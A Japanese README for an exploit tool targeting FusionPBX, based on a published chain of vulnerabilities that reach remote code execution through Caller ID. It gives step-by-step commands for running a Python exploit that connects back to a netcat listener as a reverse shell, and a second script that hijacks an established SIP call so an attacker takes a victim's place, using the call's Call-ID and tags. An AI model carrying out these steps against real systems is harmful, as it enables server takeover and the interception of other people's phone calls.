前書き

このシンプルなコードは、Dustin Cobb によって Caller ID を使用した RCE – FusionPBX の複数の脆弱性 で紹介された連鎖的脆弱性の実装を完成させようとするものです。

RCE

再現手順

1. 脆弱なオペレーター画面をウェブブラウザーで表示します。この例では https://{fusionpbx_address}/app/operator_panel/index.php にあります。
2. リモートシステム上で netcat リスナーを起動します (rce_listener_address).x`
3. 別のターミナルウィンドウで、以下のエクスプロイトコードをリモートシステム上で実行します python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. エクスプロイトは netcat リスナーに接続し、リバースシェルを提供します。

通話を置き換える

通話の Call-ID、from-tag、to-tag が分かっている場合、以下のコードを実行すると、被害者の代わりにあなたがその通話に入れ替わります。

再現手順

1. まず、2 つの SIP UA 間で通話を開始します。
2. 通話が確立したら、{Call-ID}{semicolon}"to-teg:"{to-tag}"from-tag"{from-tag} を連結して dialog_identifier を構築する必要があります。
3. 以下のハイジャックコードをリモートシステム上で実行し、あなたの番号を被害者の番号に置き換えます。 python3 .\transfer.py --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --victim_number {victim_number} --dialog_identifier {dialog_identifier}